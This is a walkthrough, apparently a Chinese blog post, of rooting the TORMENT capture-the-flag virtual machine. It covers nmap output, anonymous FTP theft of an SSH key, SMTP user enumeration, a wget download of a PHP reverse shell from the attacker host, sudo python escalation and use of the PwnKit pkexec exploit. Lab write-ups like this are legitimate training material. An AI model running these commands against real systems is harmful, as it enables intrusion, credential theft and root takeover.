信息收集
| IP Address | Opening Ports |
|---|---|
| 192.168.101.152 | TCP:21,22,25,80,111,139,143,445,631 |
$ nmap -p- 192.168.101.152 --min-rate 1000 -sC -sV
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 112640 Dec 28 2018 alternatives.tar.0
| -rw-r--r-- 1 ftp ftp 4984 Dec 23 2018 alternatives.tar.1.gz
| -rw-r--r-- 1 ftp ftp 95760 Dec 28 2018 apt.extended_states.0
| -rw-r--r-- 1 ftp ftp 10513 Dec 27 2018 apt.extended_states.1.gz
| -rw-r--r-- 1 ftp ftp 10437 Dec 26 2018 apt.extended_states.2.gz
| -rw-r--r-- 1 ftp ftp 559 Dec 23 2018 dpkg.diversions.0
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.1.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.2.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.3.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.4.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.5.gz
| -rw-r--r-- 1 ftp ftp 229 Dec 23 2018 dpkg.diversions.6.gz
| -rw-r--r-- 1 ftp ftp 505 Dec 28 2018 dpkg.statoverride.0
| -rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.1.gz
| -rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.2.gz
| -rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.3.gz
| -rw-r--r-- 1 ftp ftp 295 Dec 28 2018 dpkg.statoverride.4.gz
| -rw-r--r-- 1 ftp ftp 281 Dec 27 2018 dpkg.statoverride.5.gz
| -rw-r--r-- 1 ftp ftp 208 Dec 23 2018 dpkg.statoverride.6.gz
| -rw-r--r-- 1 ftp ftp 1719127 Jan 01 2019 dpkg.status.0
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.101.128
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey:
| 2048 84:c7:31:7a:21:7d:10:d3:a9:9c:73:c2:c2:2d:d6:77 (RSA)
| 256 a5:12:e7:7f:f0:17:ce:f1:6a:a5:bc:1f:69:ac:14:04 (ECDSA)
|_ 256 66:c7:d0:be:8d:9d:9f:bf:78:67:d2:bc:cc:7d:33:b9 (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: TORMENT.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
| ssl-cert: Subject: commonName=TORMENT
| Subject Alternative Name: DNS:TORMENT
| Not valid before: 2018-12-23T14:28:47
|_Not valid after: 2028-12-20T14:28:47
80/tcp open http Apache httpd 2.4.25
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.25
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100003 3,4 2049/udp nfs
| 100003 3,4 2049/udp6 nfs
| 100005 1,2,3 40031/tcp6 mountd
| 100005 1,2,3 41802/udp6 mountd
| 100005 1,2,3 45478/udp mountd
| 100005 1,2,3 55733/tcp mountd
| 100021 1,3,4 38769/udp nlockmgr
| 100021 1,3,4 46631/tcp6 nlockmgr
| 100021 1,3,4 46679/tcp nlockmgr
| 100021 1,3,4 54964/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open imap Dovecot imapd
|_imap-capabilities: capabilities ID LOGIN-REFERRALS have AUTH=PLAIN IMAP4rev1 IDLE post-login listed SASL-IR more Pre-login OK ENABLE LITERAL+ AUTH=LOGINA0001
445/tcp open netbios-ssn Samba smbd 4.5.12-Debian (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
| http-methods:
|_ Potentially risky methods: PUT
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Home - CUPS 2.2.1
|_http-server-header: CUPS/2.2 IPP/2.1
2049/tcp open nfs_acl 3 (RPC #100227)
6667/tcp open irc ngircd
6668/tcp open irc ngircd
6669/tcp open irc ngircd
6672/tcp open irc ngircd
6674/tcp open irc ngircd
40151/tcp open mountd 1-3 (RPC #100005)
46679/tcp open nlockmgr 1-4 (RPC #100021)
55733/tcp open mountd 1-3 (RPC #100005)
56207/tcp open mountd 1-3 (RPC #100005)
Service Info: Hosts: TORMENT.localdomain, TORMENT, irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
本地权限
ftp匿名登录
$ ftp 192.168.101.152
ftp> ls -la
ftp> cd .ssh
ftp> get id_rsa
ftp> cd .ngircd
ftp> get channels
频道:games,tormentedprinter
使用hexchat加入聊天频道
mostmachineshaveasupersecurekeyandalongpassphrase
http://192.168.101.152:631/printers/
提取用户名
Albert
Cherrlt
David
Edmund
Ethan
Eva
Genevieve
Govindasamy
Jessica
Kenny
Patrick
Qinyi
Qiu
Roland
Sara
$ smtp-user-enum -M VRFY -U usernames -t 192.168.101.152
存在用户Patrick和Qiu
$ ssh -i id_rsa patrick@192.168.101.152
输入从irc聊天频道中获取的密码
权限提升
选项 1 : Qiu
$ ls -la /etc/apache2/apache2.conf
当我们重新启动 apache 服务时，它将以 qiu 用户权限执行
$ vi /etc/apache2/apache2.conf
添加
User qiu
Group qiu
$ cp /usr/share/webshells/php/php-reverse-shell.php /tmp/
$ cd /var/www/html
$ wget http://192.168.101.128/php-reverse-shell.php
重启主机,使Apache配置文件生效
$ sudo /bin/systemctl reboot
http://192.168.101.152/php-reverse-shell.php
$ python -c 'import pty;pty.spawn("/bin/bash")'
$ sudo /usr/bin/python -c 'import pty;pty.spawn("/bin/bash")'
选项2 : SUID : pkexec
$ wget https://github.com/ly4k/PwnKit/blob/main/PwnKit.c
$ gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
$ ./PwnKit
Proof.txt 截屏
Proof.txt 内容
Congrutulations on rooting TORMENT. I hope this box has been as fun for you as it has been for me. 😃
![CTF-Web习题：[BJDCTF2020]Mark Loves cat](https://i-blog.csdnimg.cn/direct/166d3d717ca548ac82a461b1b2cf12aa.png)
